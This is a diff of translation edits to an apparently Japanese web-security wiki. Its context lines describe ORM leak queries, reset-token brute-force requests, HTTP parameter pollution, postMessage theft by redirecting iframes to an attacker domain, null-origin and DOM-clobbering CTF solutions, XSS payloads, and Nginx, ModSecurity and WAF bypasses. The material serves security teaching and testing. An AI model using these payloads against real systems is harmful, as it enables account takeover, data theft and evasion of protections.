||||||
未公開の記事を漏洩させることは、`Category` -\[\*..\*]-> `Article` の多対多の関係を利用することで可能です:
|
`Category` -\[\*..\*]-> `Article` の多対多の関係を利用して、未発表の記事を漏洩させることが可能です。
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"query": {
|
"query": {
|
||||||
@ -220,7 +220,7 @@ res.json([])
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
すべてのユーザーを漏洩させることも可能であり、いくつかのループバック多対多関係を悪用します:
|
ループバックの多対多関係を悪用することで、すべてのユーザーを漏洩させることも可能です:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"query": {
|
"query": {
|
||||||
@ -267,7 +267,7 @@ res.json([])
|
|||||||
]
|
]
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
`{CONTAINS_LIST}`は、**正しい漏洩が見つかったときに応答が遅延することを確認するための1000の文字列のリストです。**
|
`{CONTAINS_LIST}`は、**正しいリークが見つかったときに応答が遅延することを確認するための1000の文字列のリストです。**
|
||||||
|
|
||||||
## **Ransack (Ruby)**
|
## **Ransack (Ruby)**
|
||||||
|
|
||||||
@ -283,7 +283,7 @@ def index
|
|||||||
@posts = @q.result(distinct: true)
|
@posts = @q.result(distinct: true)
|
||||||
end
|
end
|
||||||
```
|
```
|
||||||
攻撃者によって送信されたパラメータによってクエリがどのように定義されるかに注意してください。例えば、リセットトークンをブルートフォースすることが可能でした:
|
攻撃者によって送信されたパラメータによってクエリがどのように定義されるかに注意してください。例えば、次のようにリセットトークンをブルートフォースすることが可能でした:
|
||||||
```http
|
```http
|
||||||
GET /posts?q[user_reset_password_token_start]=0
|
GET /posts?q[user_reset_password_token_start]=0
|
||||||
GET /posts?q[user_reset_password_token_start]=1
|
GET /posts?q[user_reset_password_token_start]=1
|
||||||
|
@ -10,11 +10,11 @@ HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作
|
|||||||
|
|
||||||
### HTTPパラメータ汚染 (HPP) の例
|
### HTTPパラメータ汚染 (HPP) の例
|
||||||
|
|
||||||
銀行アプリケーションの取引URL:
|
銀行アプリケーションの取引URL:
|
||||||
|
|
||||||
- **元のURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
- **元のURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
||||||
|
|
||||||
追加の`from`パラメータを挿入することによって:
|
追加の`from`パラメータを挿入することによって:
|
||||||
|
|
||||||
- **操作されたURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
- **操作されたURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||||
|
|
||||||
@ -22,12 +22,12 @@ HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作
|
|||||||
|
|
||||||
#### **技術特有のパラメータ解析**
|
#### **技術特有のパラメータ解析**
|
||||||
|
|
||||||
- パラメータが解析され、優先される方法は、基盤となるウェブ技術によって異なり、HPPがどのように悪用されるかに影響します。
|
- パラメータが解析され、優先される方法は、基盤となるウェブ技術によって異なり、HPPがどのように悪用されるかに影響を与えます。
|
||||||
- [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) のようなツールは、これらの技術とその解析動作を特定するのに役立ちます。
|
- [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) のようなツールは、これらの技術とその解析動作を特定するのに役立ちます。
|
||||||
|
|
||||||
### PHPとHPPの悪用
|
### PHPとHPPの悪用
|
||||||
|
|
||||||
**OTP操作ケース:**
|
**OTP操作ケース:**
|
||||||
|
|
||||||
- **コンテキスト:** ワンタイムパスワード (OTP) を必要とするログインメカニズムが悪用されました。
|
- **コンテキスト:** ワンタイムパスワード (OTP) を必要とするログインメカニズムが悪用されました。
|
||||||
- **方法:** Burp Suiteのようなツールを使用してOTPリクエストを傍受し、攻撃者はHTTPリクエスト内の`email`パラメータを複製しました。
|
- **方法:** Burp Suiteのようなツールを使用してOTPリクエストを傍受し、攻撃者はHTTPリクエスト内の`email`パラメータを複製しました。
|
||||||
@ -35,9 +35,9 @@ HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作
|
|||||||
|
|
||||||
このシナリオは、OTP生成のために最初の`email`パラメータを処理したが、配信には最後のものを使用したアプリケーションのバックエンドの重大な見落としを強調しています。
|
このシナリオは、OTP生成のために最初の`email`パラメータを処理したが、配信には最後のものを使用したアプリケーションのバックエンドの重大な見落としを強調しています。
|
||||||
|
|
||||||
**APIキー操作ケース:**
|
**APIキー操作ケース:**
|
||||||
|
|
||||||
- **シナリオ:** アプリケーションはユーザーがプロフィール設定ページを通じてAPIキーを更新できるようにしています。
|
- **シナリオ:** アプリケーションは、ユーザーがプロフィール設定ページを通じてAPIキーを更新できるようにしています。
|
||||||
- **攻撃ベクトル:** 攻撃者は、POSTリクエストに追加の`api_key`パラメータを追加することで、APIキー更新機能の結果を操作できることを発見しました。
|
- **攻撃ベクトル:** 攻撃者は、POSTリクエストに追加の`api_key`パラメータを追加することで、APIキー更新機能の結果を操作できることを発見しました。
|
||||||
- **技術:** Burp Suiteのようなツールを利用して、攻撃者は1つの正当な`api_key`パラメータと1つの悪意のある`api_key`パラメータを含むリクエストを作成します。サーバーは最後の出現のみを処理し、攻撃者が提供した値にAPIキーを更新します。
|
- **技術:** Burp Suiteのようなツールを利用して、攻撃者は1つの正当な`api_key`パラメータと1つの悪意のある`api_key`パラメータを含むリクエストを作成します。サーバーは最後の出現のみを処理し、攻撃者が提供した値にAPIキーを更新します。
|
||||||
- **結果:** 攻撃者は被害者のAPI機能を制御し、プライベートデータに不正にアクセスまたは変更する可能性があります。
|
- **結果:** 攻撃者は被害者のAPI機能を制御し、プライベートデータに不正にアクセスまたは変更する可能性があります。
|
||||||
@ -46,14 +46,14 @@ HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作
|
|||||||
|
|
||||||
### パラメータ解析: Flask vs. PHP
|
### パラメータ解析: Flask vs. PHP
|
||||||
|
|
||||||
ウェブ技術が重複したHTTPパラメータを処理する方法は異なり、HPP攻撃に対する脆弱性に影響を与えます:
|
ウェブ技術が重複したHTTPパラメータを処理する方法は異なり、HPP攻撃に対する脆弱性に影響を与えます:
|
||||||
|
|
||||||
- **Flask:** クエリ文字列`a=1&a=2`のように、最初に遭遇したパラメータ値を採用し、初期のインスタンスを後続の重複より優先します。
|
- **Flask:** クエリ文字列`a=1&a=2`のように、最初に遭遇したパラメータ値を採用し、初期のインスタンスを後続の重複よりも優先します。
|
||||||
- **PHP (Apache HTTPサーバー上):** 逆に、最後のパラメータ値を優先し、与えられた例では`a=2`を選択します。この動作は、攻撃者が操作したパラメータを元のものよりも優先することによって、HPPの悪用を無意識に助長する可能性があります。
|
- **PHP (Apache HTTPサーバー上):** 逆に、最後のパラメータ値を優先し、与えられた例では`a=2`を選択します。この動作は、攻撃者が操作したパラメータを元のものよりも優先することによって、HPPの悪用を無意識に助長する可能性があります。
|
||||||
|
|
||||||
## 技術によるパラメータ汚染
|
## 技術によるパラメータ汚染
|
||||||
|
|
||||||
結果は [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89) から取得されました。
|
結果は[https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)から取得されました。
|
||||||
|
|
||||||
### PHP 8.3.11 および Apache 2.4.62 <a href="#id-9523" id="id-9523"></a>
|
### PHP 8.3.11 および Apache 2.4.62 <a href="#id-9523" id="id-9523"></a>
|
||||||
|
|
||||||
@ -79,7 +79,7 @@ HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作
|
|||||||
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping。
|
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping。
|
||||||
2. POST RequestMapping & PostMappingはname\[]を認識します。
|
2. POST RequestMapping & PostMappingはname\[]を認識します。
|
||||||
3. nameとname\[]が存在する場合はnameを優先します。
|
3. nameとname\[]が存在する場合はnameを優先します。
|
||||||
4. パラメータを連結します(例:first,last)。
|
4. パラメータを連結します。例: first,last。
|
||||||
5. POST RequestMapping & PostMappingはContent-Typeを持つクエリパラメータを認識します。
|
5. POST RequestMapping & PostMappingはContent-Typeを持つクエリパラメータを認識します。
|
||||||
|
|
||||||
### **NodeJS** 20.17.0 **および** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
|
### **NodeJS** 20.17.0 **および** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
|
||||||
@ -87,7 +87,7 @@ HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作
|
|||||||
<figure><img src="../images/image (1259).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg</a></p></figcaption></figure>
|
<figure><img src="../images/image (1259).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
1. name\[]を認識します。
|
1. name\[]を認識します。
|
||||||
2. パラメータを連結します(例:first,last)。
|
2. パラメータを連結します。例: first,last。
|
||||||
|
|
||||||
### GO 1.22.7 <a href="#id-63dc" id="id-63dc"></a>
|
### GO 1.22.7 <a href="#id-63dc" id="id-63dc"></a>
|
||||||
|
|
||||||
|
@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
電話番号の**末尾に文字列を追加する**ことが可能で、これを利用して一般的なインジェクション(XSS、SQLi、SSRF...)を悪用したり、保護を回避したりすることができます:
|
電話番号の**末尾に文字列を追加する**ことが可能で、これにより一般的なインジェクション(XSS、SQLi、SSRF...)を悪用したり、保護を回避したりすることができます:
|
||||||
|
|
||||||
<figure><img src="../images/image (461).png" alt="https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
<figure><img src="../images/image (461).png" alt="https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -5,10 +5,10 @@
|
|||||||
これらのPoCとポリグロスの目的は、テスターに**応答に何らかの形で反映される入力**を利用して悪用できる脆弱性の迅速な**概要**を提供することです。
|
これらのPoCとポリグロスの目的は、テスターに**応答に何らかの形で反映される入力**を利用して悪用できる脆弱性の迅速な**概要**を提供することです。
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> この**チートシートは各脆弱性のテストの包括的なリストを提案していません**、基本的なもののみです。より包括的なテストを探している場合は、提案された各脆弱性にアクセスしてください。
|
> この**チートシートは各脆弱性の包括的なテストリストを提案していません**、基本的なものだけです。より包括的なテストを探している場合は、提案された各脆弱性にアクセスしてください。
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> **XXEのようなContent-Type依存のインジェクションは見つかりません**、通常、xmlデータを送信するリクエストを見つけた場合は自分で試すことになります。また、**データベースインジェクションもここには見つかりません**、反映される可能性のあるコンテンツがあっても、バックエンドDB技術と構造に大きく依存します。
|
> **XXEのようなContent-Type依存のインジェクションは見つかりません**、通常、XMLデータを送信するリクエストを見つけた場合は自分で試すことになります。また、**データベースインジェクションもここには見つかりません**、いくつかのコンテンツが反映される可能性があっても、それはバックエンドDB技術と構造に大きく依存します。
|
||||||
|
|
||||||
## Polygloths list
|
## Polygloths list
|
||||||
```python
|
```python
|
||||||
|
@ -39,7 +39,7 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
|||||||
### iframe と **targetOrigin** のワイルドカードを攻撃する
|
### iframe と **targetOrigin** のワイルドカードを攻撃する
|
||||||
|
|
||||||
[**このレポート**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)で説明されているように、**iframed** 可能なページ(`X-Frame-Header` 保護なし)を見つけ、**ワイルドカード**(\*)を使用して **postMessage** 経由で **機密** メッセージを **送信している** 場合、**iframe** の **origin** を **変更** し、**機密** メッセージをあなたが制御するドメインに **漏洩** させることができます。\
|
[**このレポート**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)で説明されているように、**iframed** 可能なページ(`X-Frame-Header` 保護なし)を見つけ、**ワイルドカード**(\*)を使用して **postMessage** 経由で **機密** メッセージを **送信している** 場合、**iframe** の **origin** を **変更** し、**機密** メッセージをあなたが制御するドメインに **漏洩** させることができます。\
|
||||||
ページが iframed 可能であるが、**targetOrigin** が **URL に設定されていてワイルドカードではない**場合、この **トリックは機能しません**。
|
ページが iframed 可能であるが、**targetOrigin** が **ワイルドカードではなく URL に設定されている** 場合、この **トリックは機能しません**。
|
||||||
```markup
|
```markup
|
||||||
<html>
|
<html>
|
||||||
<iframe src="https://docs.google.com/document/ID" />
|
<iframe src="https://docs.google.com/document/ID" />
|
||||||
@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
|||||||
```
|
```
|
||||||
### 子に送信されたメッセージをメインページをブロックして盗む
|
### 子に送信されたメッセージをメインページをブロックして盗む
|
||||||
|
|
||||||
次のページでは、データを送信する前にメインページを**ブロック**し、子の**XSS**を悪用してデータを受信する前に**漏洩**させることで、**子iframe**に送信された**敏感なpostmessageデータ**をどのように盗むことができるかを示しています:
|
次のページでは、データを送信する前に**メイン**ページを**ブロック**し、**子**の**XSS**を悪用して**データを漏洩**させることで、**子iframe**に送信された**敏感なpostmessageデータ**をどのように盗むことができるかを示しています:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
blocking-main-page-to-steal-postmessage.md
|
blocking-main-page-to-steal-postmessage.md
|
||||||
@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md
|
|||||||
|
|
||||||
### iframeの位置を変更してメッセージを盗む
|
### iframeの位置を変更してメッセージを盗む
|
||||||
|
|
||||||
X-Frame-Headerがないウェブページをiframeできる場合、別のiframeを含む場合、その子iframeの**位置を変更**することができます。もしそれが**ワイルドカード**を使用して送信された**postmessage**を受信している場合、攻撃者はそのiframeの**オリジン**を自分が**制御**するページに**変更**し、メッセージを**盗む**ことができます:
|
X-Frame-Headerがないウェブページをiframeできる場合、別のiframeを含む場合、その**子iframeの位置を変更**することができます。もしそれが**ワイルドカード**を使用して送信された**postmessage**を受信している場合、攻撃者はそのiframeの**オリジン**を自分が**制御**するページに**変更**し、メッセージを**盗む**ことができます:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
steal-postmessage-modifying-iframe-location.md
|
steal-postmessage-modifying-iframe-location.md
|
||||||
|
@ -4,15 +4,15 @@
|
|||||||
|
|
||||||
## Winning RCs with Iframes
|
## Winning RCs with Iframes
|
||||||
|
|
||||||
この[**Terjanqの解説**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710)によると、null originから作成されたblobドキュメントはセキュリティ上の利点のために隔離されており、つまり、メインページを忙しく保つと、iframeページが実行されることになります。
|
According to this [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) blob documents created from null origins are isolated for security benefits, which means that if you maintain busy the main page, the iframe page is going to be executed.
|
||||||
|
|
||||||
基本的に、このチャレンジでは**隔離されたiframeが実行され**、その**読み込み**の**直後**に**親**ページが**フラグ**を含む**post**メッセージを**送信**します。\
|
基本的に、このチャレンジでは、**孤立したiframeが実行され**、その**読み込み**の**直後**に**親**ページが**フラグ**を含む**ポスト**メッセージを**送信**します。\
|
||||||
しかし、そのpostmessage通信は**XSSに脆弱**です(**iframe**はJSコードを実行できます)。
|
しかし、そのpostmessage通信は**XSSに脆弱**です(**iframe**はJSコードを実行できます)。
|
||||||
|
|
||||||
したがって、攻撃者の目標は**親にiframeを作成させる**ことですが、**親**ページが**機密データ(**フラグ**)を**送信**する**前に**、それを**忙しく保ち**、**payloadをiframeに送信**することです。**親が忙しい間**、**iframeはpayloadを実行**し、これは**親のpostmessageメッセージをリッスンし、フラグを漏洩させる**JSになります。\
|
したがって、攻撃者の目標は、**親がiframeを作成させる**ことですが、**親**ページが**機密データ(**フラグ**)を**送信**する前に**それを**忙しく**させ、**ペイロードをiframeに送信**することです。**親が忙しい間**、**iframeはペイロードを実行**し、**親のpostmessageメッセージをリッスンしてフラグを漏洩**します。\
|
||||||
最終的に、iframeはpayloadを実行し、親ページは忙しさをやめるので、フラグを送信し、payloadがそれを漏洩させます。
|
最終的に、iframeはペイロードを実行し、親ページは忙しさをやめるので、フラグを送信し、ペイロードがそれを漏洩します。
|
||||||
|
|
||||||
では、どのようにして親を**iframeを生成した直後に忙しくさせ、機密データを送信するためにiframeが準備できるのを待っている間だけ忙しくさせることができるでしょうか?** 基本的に、親に**実行**させることができる**非同期**の**アクション**を見つける必要があります。例えば、このチャレンジでは親がこのように**postmessages**を**リッスン**していました:
|
しかし、親が**iframeを生成した直後に、機密データを送信するためにiframeが準備できるのを待っている間、どのように忙しくさせることができるでしょうか?** 基本的に、**親が実行**できる**非同期**の**アクション**を見つける必要があります。例えば、このチャレンジでは、親はこのように**postmessages**を**リッスン**していました:
|
||||||
```javascript
|
```javascript
|
||||||
window.addEventListener("message", (e) => {
|
window.addEventListener("message", (e) => {
|
||||||
if (e.data == "blob loaded") {
|
if (e.data == "blob loaded") {
|
||||||
|
@ -21,7 +21,7 @@ renderContainer.innerHTML = data.body
|
|||||||
|
|
||||||
### SOPバイパス 1 (e.origin === null)
|
### SOPバイパス 1 (e.origin === null)
|
||||||
|
|
||||||
`//example.org`が**サンドボックス化されたiframe**に埋め込まれると、ページの**オリジン**は**`null`**になります。つまり、**`window.origin === null`**です。したがって、`<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`を介してiframeを埋め込むだけで、**`null`オリジンを強制**できます。
|
`//example.org`が**サンドボックス化されたiframe**に埋め込まれると、ページの**オリジン**は**`null`**になります。つまり、**`window.origin === null`**です。したがって、`<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`を介してiframeを埋め込むだけで、**`null`オリジンを強制**することができます。
|
||||||
|
|
||||||
ページが**埋め込み可能**であれば、その方法でその保護をバイパスできます(クッキーも`SameSite=None`に設定する必要があるかもしれません)。
|
ページが**埋め込み可能**であれば、その方法でその保護をバイパスできます(クッキーも`SameSite=None`に設定する必要があるかもしれません)。
|
||||||
|
|
||||||
@ -34,7 +34,7 @@ renderContainer.innerHTML = data.body
|
|||||||
|
|
||||||
したがって、このチャレンジのために、**iframeを作成**し、脆弱なXSSコードハンドラー(`/iframe.php`)を持つページに**ポップアップを開く**ことができます。`window.origin === e.origin`のため、両方が`null`であるため、**XSSを悪用するペイロードを送信**することが可能です。
|
したがって、このチャレンジのために、**iframeを作成**し、脆弱なXSSコードハンドラー(`/iframe.php`)を持つページに**ポップアップを開く**ことができます。`window.origin === e.origin`のため、両方が`null`であるため、**XSSを悪用するペイロードを送信**することが可能です。
|
||||||
|
|
||||||
その**ペイロード**は**識別子**を取得し、**XSS**を**トップページ**(ポップアップを開いたページ)に**戻します**。**そのページは**、**脆弱な**`/iframe.php`に**ロケーションを変更**します。識別子が知られているため、条件`window.origin === e.origin`が満たされないことは問題ではありません(オリジンは**オリジン**が**`null`**のiframeからの**ポップアップ**です)なぜなら、`data.identifier === identifier`だからです。次に、**XSSが再びトリガーされます**。今度は正しいオリジンで。
|
その**ペイロード**は**識別子**を取得し、**XSS**を**トップページ**(ポップアップを開いたページ)に**戻します**。**そのページは**、**脆弱な**`/iframe.php`に**ロケーションを変更**します。識別子が知られているため、`window.origin === e.origin`の条件が満たされないことは問題ではありません(オリジンは**オリジン**が**`null`**のiframeからの**ポップアップ**です)なぜなら、`data.identifier === identifier`だからです。次に、**XSSが再びトリガーされます**。今度は正しいオリジンで。
|
||||||
```html
|
```html
|
||||||
<body>
|
<body>
|
||||||
<script>
|
<script>
|
||||||
|
@ -16,7 +16,7 @@ if (e.source == window.calc.contentWindow && e.data.token == window.token) {
|
|||||||
|
|
||||||
- **`window.calc.contentWindow`**は実際には**`document.getElementById("calc")`**です。あなたは**`document.getElementById`**を**`<img name=getElementById />`**でクラッシャーできます(サニタイザーAPI -[こちら](https://wicg.github.io/sanitizer-api/#dom-clobbering)-は、デフォルトの状態ではDOMクラッシャー攻撃から保護するように設定されていません)。
|
- **`window.calc.contentWindow`**は実際には**`document.getElementById("calc")`**です。あなたは**`document.getElementById`**を**`<img name=getElementById />`**でクラッシャーできます(サニタイザーAPI -[こちら](https://wicg.github.io/sanitizer-api/#dom-clobbering)-は、デフォルトの状態ではDOMクラッシャー攻撃から保護するように設定されていません)。
|
||||||
- したがって、あなたは**`document.getElementById("calc")`**を**`<img name=getElementById /><div id=calc></div>`**でクラッシャーできます。そうすると、**`window.calc`**は**`undefined`**になります。
|
- したがって、あなたは**`document.getElementById("calc")`**を**`<img name=getElementById /><div id=calc></div>`**でクラッシャーできます。そうすると、**`window.calc`**は**`undefined`**になります。
|
||||||
- さて、**`e.source`**を**`undefined`**または**`null`**にする必要があります(なぜなら`==`が使用されているため、**`null == undefined`**は**`True`**です)。これを得るのは「簡単」です。**iframe**を作成し、そこから**postMessage**を送信し、すぐに**iframe**を**削除**すれば、**`e.origin`**は**`null`**になります。次のコードを確認してください。
|
- さて、**`e.source`**を**`undefined`**または**`null`**にする必要があります(なぜなら`==`が使用されているため、**`null == undefined`**は**`True`**です)。これを得るのは「簡単」です。**iframe**を作成し、そこから**postMessage**を送信し、すぐにiframeを**削除**すれば、**`e.origin`**は**`null`**になります。次のコードを確認してください。
|
||||||
```javascript
|
```javascript
|
||||||
let iframe = document.createElement("iframe")
|
let iframe = document.createElement("iframe")
|
||||||
document.body.appendChild(iframe)
|
document.body.appendChild(iframe)
|
||||||
@ -28,7 +28,7 @@ document.body.removeChild(iframe) //e.origin === null
|
|||||||
**二回目のチェック**をバイパスするためには、**`token`**を値`null`で送信し、**`window.token`**の値を**`undefined`**にすることです:
|
**二回目のチェック**をバイパスするためには、**`token`**を値`null`で送信し、**`window.token`**の値を**`undefined`**にすることです:
|
||||||
|
|
||||||
- 値`null`でpostMessageに`token`を送信するのは簡単です。
|
- 値`null`でpostMessageに`token`を送信するのは簡単です。
|
||||||
- **`window.token`**は、**`document.cookie`**を使用する関数**`getCookie`**を呼び出す際に使用されます。**`null`**オリジンのページで**`document.cookie`**にアクセスすると**エラー**が発生することに注意してください。これにより、**`window.token`**は**`undefined`**の値になります。
|
- **`window.token`**は、**`document.cookie`**を使用する**`getCookie`**関数を呼び出す際に使用されます。**`null`**オリジンページでの**`document.cookie`**へのアクセスは**エラー**を引き起こすことに注意してください。これにより、**`window.token`**は**`undefined`**の値になります。
|
||||||
|
|
||||||
最終的な解決策は[**@terjanq**](https://twitter.com/terjanq)によるもので、[**以下**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html)です:
|
最終的な解決策は[**@terjanq**](https://twitter.com/terjanq)によるもので、[**以下**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html)です:
|
||||||
```html
|
```html
|
||||||
|
@ -4,11 +4,11 @@
|
|||||||
|
|
||||||
## 子iframeの位置を変更する
|
## 子iframeの位置を変更する
|
||||||
|
|
||||||
[**この書き込み**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)によると、X-Frame-Headerがないウェブページをiframe化できる場合、別のiframeを含む場合、その**子iframeの位置を変更する**ことができます。
|
[**この書き込み**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)によると、X-Frame-Headerがないウェブページをiframeにでき、その中に別のiframeが含まれている場合、**その子iframeの位置を変更することができます**。
|
||||||
|
|
||||||
例えば、abc.comがefg.comをiframeとして持ち、abc.comにX-Frameヘッダーがない場合、**`frames.location`**を使用してefg.comをevil.comにクロスオリジンで変更することができます。
|
例えば、abc.comがefg.comをiframeとして持ち、abc.comにX-Frameヘッダーがない場合、**`frames.location`**を使用してefg.comをevil.comにクロスオリジンで変更することができます。
|
||||||
|
|
||||||
これは特に**postMessages**で有用です。なぜなら、ページが**ワイルドカード**を使用して機密データを送信している場合、`windowRef.postmessage("","*")`、攻撃者が制御する位置に関連するiframe(子または親)の**位置を変更する**ことが可能で、そのデータを盗むことができます。
|
これは特に**postMessages**で有用です。なぜなら、ページが**ワイルドカード**を使用して機密データを送信している場合、例えば`windowRef.postmessage("","*")`のように、**関連するiframe(子または親)の位置を攻撃者が制御する場所に変更し、そのデータを盗むことが可能です**。
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<iframe src="https://docs.google.com/document/ID" />
|
<iframe src="https://docs.google.com/document/ID" />
|
||||||
|
@ -5,7 +5,7 @@
|
|||||||
|
|
||||||
## パス名操作による Nginx ACL ルールのバイパス <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
## パス名操作による Nginx ACL ルールのバイパス <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||||
|
|
||||||
技術 [この研究から](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)。
|
この研究からの技術 [from this research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||||
|
|
||||||
Nginx ルールの例:
|
Nginx ルールの例:
|
||||||
```plaintext
|
```plaintext
|
||||||
@ -64,7 +64,7 @@ fastcgi_pass unix:/run/php/php8.1-fpm.sock;
|
|||||||
```
|
```
|
||||||
Nginxは`/admin.php`へのアクセスをブロックするように設定されていますが、`/admin.php/index.php`にアクセスすることでこれをバイパスすることが可能です。
|
Nginxは`/admin.php`へのアクセスをブロックするように設定されていますが、`/admin.php/index.php`にアクセスすることでこれをバイパスすることが可能です。
|
||||||
|
|
||||||
### 予防策
|
### 予防方法
|
||||||
```plaintext
|
```plaintext
|
||||||
location ~* ^/admin {
|
location ~* ^/admin {
|
||||||
deny all;
|
deny all;
|
||||||
@ -75,7 +75,7 @@ deny all;
|
|||||||
### パスの混乱
|
### パスの混乱
|
||||||
|
|
||||||
[**この投稿**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)では、ModSecurity v3(3.0.12まで)が、アクセスされたパス(パラメータの開始まで)を含むはずの`REQUEST_FILENAME`変数を**不適切に実装していた**ことが説明されています。これは、パスを取得するためにURLデコードを行ったためです。\
|
[**この投稿**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)では、ModSecurity v3(3.0.12まで)が、アクセスされたパス(パラメータの開始まで)を含むはずの`REQUEST_FILENAME`変数を**不適切に実装していた**ことが説明されています。これは、パスを取得するためにURLデコードを行ったためです。\
|
||||||
したがって、mod securityでは`http://example.com/foo%3f';alert(1);foo=`のようなリクエストは、`%3f`が`?`に変換されてURLパスが終了するため、パスは単に`/foo`であると見なされますが、実際にサーバーが受け取るパスは`/foo%3f';alert(1);foo=`になります。
|
したがって、`http://example.com/foo%3f';alert(1);foo=`のようなリクエストは、mod securityではパスが単に`/foo`であると見なされます。なぜなら、`%3f`が`?`に変換されてURLパスが終了するからですが、実際にサーバーが受け取るパスは`/foo%3f';alert(1);foo=`になります。
|
||||||
|
|
||||||
`REQUEST_BASENAME`および`PATH_INFO`変数もこのバグの影響を受けました。
|
`REQUEST_BASENAME`および`PATH_INFO`変数もこのバグの影響を受けました。
|
||||||
|
|
||||||
@ -85,7 +85,7 @@ Mod Securityのバージョン2でも同様のことが発生し、特定の拡
|
|||||||
|
|
||||||
### 不正なヘッダー
|
### 不正なヘッダー
|
||||||
|
|
||||||
[この研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)では、AWSが適用したHTTPヘッダーに対するWAFルールをバイパスするために、AWSによって適切に解析されなかった「不正な」ヘッダーを送信することが可能であったことが言及されていますが、バックエンドサーバーによっては解析されました。
|
[この研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)では、AWSが適用したHTTPヘッダーに対するWAFルールを、不正に解析されたヘッダーを送信することでバイパスすることが可能であったと述べています。このヘッダーはAWSによって適切に解析されませんでしたが、バックエンドサーバーによっては解析されました。
|
||||||
|
|
||||||
例えば、ヘッダーX-QueryにSQLインジェクションを含む以下のリクエストを送信することです:
|
例えば、ヘッダーX-QueryにSQLインジェクションを含む以下のリクエストを送信することです:
|
||||||
```http
|
```http
|
||||||
@ -147,7 +147,7 @@ Unicode 正規化の実装によって(詳細は [こちら](https://jlajara.g
|
|||||||
|
|
||||||
例えば、記事では**Akamaiがユーザー入力を10回デコードした**と述べられています。したがって、`<input/%2525252525252525253e/onfocus`のようなものは、Akamaiには`<input/>/onfocus`として見え、**タグが閉じているため問題ないと考えるかもしれません**。しかし、アプリケーションが入力を10回URLデコードしない限り、被害者は`<input/%25252525252525253e/onfocus`のようなものを見ることになり、**これはXSS攻撃に対して依然として有効です**。
|
